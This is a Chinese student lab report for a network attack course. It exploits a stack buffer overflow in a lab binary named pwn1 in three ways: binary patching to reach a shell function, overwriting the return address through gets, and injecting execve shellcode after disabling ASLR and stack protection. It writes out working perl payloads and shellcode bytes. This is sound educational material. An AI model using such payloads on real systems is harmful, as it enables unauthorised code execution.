当前位置: 首页 > news >正文

20252810 2024-2025-2 《网络攻防实践》实践9报告

学号 2024-2025-2 《网络攻防实践》实践X报告

1.实践内容

总结一下本周学习内容并介绍下实践内容,不要复制粘贴

2.实践过程

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

输入命令sudo hostnamectl set-hostname zhangdi 修改主机名称为自己的姓名,同时修改文件名称为自己的学号

image

image

输入cd ~/Desktop进入目标文件所在的文件夹,输入objdump -d pwn20252810 | more对名为 pwn20252810 的二进制文件进行反汇编,并用分页方式显示结果。

image
查看以下三个函数
image

foo 函数中使用不安全的 gets 函数,存在栈溢出漏洞,可被利用覆盖返回地址。

getShell 函数直接调用 system("/bin/sh"),是攻击者的目标跳转地址》

main 函数简单调用 foo,作为漏洞触发入口。

攻击效果:通过控制 foo 的返回地址跳转到 getShell,即可获取系统 Shell。
getShell 地址: 0804847d

main 中调用 foo 的指令: 80484b5: e8 d7 ff ff ff call 8048491

这条 call 的下一条指令地址 = 0x80484ba

输入vim20252810打开文件
image
按esc退出,输入%!xxd以16进制的形式打开。
image

image

image
image
输入::w!强制保存
image

再次输入objdump -d pwn20252804 | more发现已被修改
image
输入./pwn20252810
image
出现 /bin/sh,实验成功。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
先重新把你的pwn文件拖进来并命名为pwn20252810
输入cd ~/Desktop gdb pwn20252810安装gdb
image
输入objdump -d pwn20252804 | more对名为 pwn20252810 的二进制文件进行反汇编,并用分页方式显示结果。
image

foo 函数中存在 gets 栈溢出漏洞,缓冲区起始地址为 ebp-0x1c,返回地址位于 ebp+4,两者偏移为 32 字节。目标函数 getShell 的地址是 0x0804847d。

输入gdb pwn20252810调试程序。并输入r运行。
输入 1111111122222222333333334444444455555555。
image
image

输入info r可以看到eip的值为0x35353535 。
image
输入r并输入字符串 1111111122222222333333334444444412345678,1234 这四个数会覆盖到堆栈上的返回地址。
image
输入q退出,并输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252810zd_input。输入xxd 20252810zd_input将要写入的字符串存到20252810txc_input文件中。
image

输入(cat 20252810zd_input; cat) | ./pwn20252810
将20252810zd_input中的内容注入到pwn20252810中。输入常见指令测试是否拿到shell。
image

3.注入一个自己制作的shellcode并运行这段shellcode。
进入桌面,安装工具execstack_0.0.20131005-1.1_amd64.deb。
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
解压
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image
依次输入execstack -s pwn20252810
execstack -q pwn20252810
设置pwn20252810程序堆栈可执行,并进一步查询是否设置成功。
image

查看当前ASLR级别,将其设置为0后再次查看是否设置成功。
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
image

使用输出重定向(perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252810)将perl生成的字符串存储到input_20252810文件中:
image
在当前终端输入
(cat input_20252810;cat) | ./pwn20252810
image

另开一个终端输入
ps -ef | grep pwn20252810
image

开第三个终端对pwn20252810文件进行gdb调试。在ret处设置断点。
代码如下:
gdb pwn20252804
attach 396234
disassemble foo
break *0x080484ae
image
在终端一按下回车,在终端3输入c继续运行
image
输入命令
info r esp
x/16x 0xffffcf4c
image
可知查看栈顶指针所在的位置为0xffffcf4c,4返回地址的位置为0x0102030。shellcode的地址为栈顶指针的地址 + 4 = 0xffffcf50

重新构造input_cmr文件
perl -e 'print "A" x 32;print "\x50\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20252810
(cat input_20252810;cat) | ./pwn202052810
ls
whoami
image

3.学习中遇到的问题及解决

  • 问题1:修改主机名字为自己的名字后,打进去的命令全是纯白色,没有高亮提示
    image

  • 问题1:解决方案:应该是系统还没反应过来,重新开一个窗口就好了

  • 问题2:输入./pwn20252810当前用户没有执行该文件的权限。
    image

  • 问题2解决方案:
    给文件添加执行权限:chmod +x pwn20252810

  • 问题3:在 Kali 上安装 gdb 时遇到了 apt 源 404 错误。
    image

  • 问题3解决方案:借助ai并使用以下步骤
    image
    重新安装后成功

  • 问题4:image

  • 问题4解决方案:增加权限即可
    image

4.实践总结

xxx xxx

http://www.jsqmd.com/news/834373/

相关文章:

  • Python try...except ImportError 语句详解
  • HttpOnly Cookie 深度解析
  • AICoverGen终极指南:5步打造专业级AI翻唱的完整解决方案
  • AI助手开发实战:从资源索引到生产级系统搭建指南
  • Purpur性能调优实战指南:7大核心优化方案深度解析
  • 2026年号易平台官方邀请码08888:从零到皇冠的完整实操手册 - 号易官方邀请码08888
  • 2026年要看!威海甲醛检测治理公司该怎么选择?这份实用推荐别错过! - 得意的笑125
  • 2026年4月臭氧发生器公司口碑推荐,混合机/台车烘箱/二维混合机/热风循环烘箱,臭氧发生器企业哪个好 - 品牌推荐师
  • 163MusicLyrics:一键获取网易云QQ音乐歌词的专业工具
  • 2026年Exchange零日危机:CVE-2026-42897在野利用全解析与防护指南
  • 从用户评论到精准推荐:手把手教你用事理图谱做消费意图识别(附真实电商案例)
  • 从SolidWorks到Geant4仿真:我的第一个粒子探测器CAD模型导入全记录(含CADMesh避坑点)
  • 3步实现AutoHotkey脚本独立运行:Ahk2Exe编译工具完全指南
  • LrcHelper:网易云音乐双语歌词下载神器 - 5分钟快速上手指南
  • 佛山全区域上门黄金回收 六大正规品牌 五区全覆盖高价回收全品类闲置 - 金掌柜黄金回收
  • 胖东来 1000 元面值购物卡回收行情深度剖析 - 购物卡回收找京尔回收
  • 从《西部世界》到现实:AI智能体如何重塑游戏NPC与虚拟社会?
  • 为初创团队搭建统一的大模型调用与管理平台
  • CAPL进阶篇-----键盘事件在自动化测试中的实战应用
  • 解锁BIM设计新维度:Rhino.Inside.Revit如何实现参数化设计革命
  • AXI Crossbar架构解析:从总线协议到片上互联的实战设计
  • BG3ModManager:博德之门3模组管理终极解决方案
  • Android滚轮控件WheelView:告别复杂选择器开发的终极解决方案
  • 广东成人学历提升报名条件是什么?成考、开放教育、自考报考要求与正规机构选择 - 优选机构推荐
  • 观察 Taotoken 在多地域请求下的延迟与稳定性表现
  • 终极指南:Windows平台APK安装器如何让安卓应用无缝运行
  • 3分钟掌握League Akari:英雄联盟终极智能助手完全指南
  • gdsdecomp终极指南:如何一键恢复Godot游戏项目的完整源代码
  • 佛山全区域上门回收黄金 六大正规品牌 五区全域免费上门高价变现 - 金掌柜黄金回收
  • ESP32-S2物联网实战:IPv6配置与Adafruit IO双向通信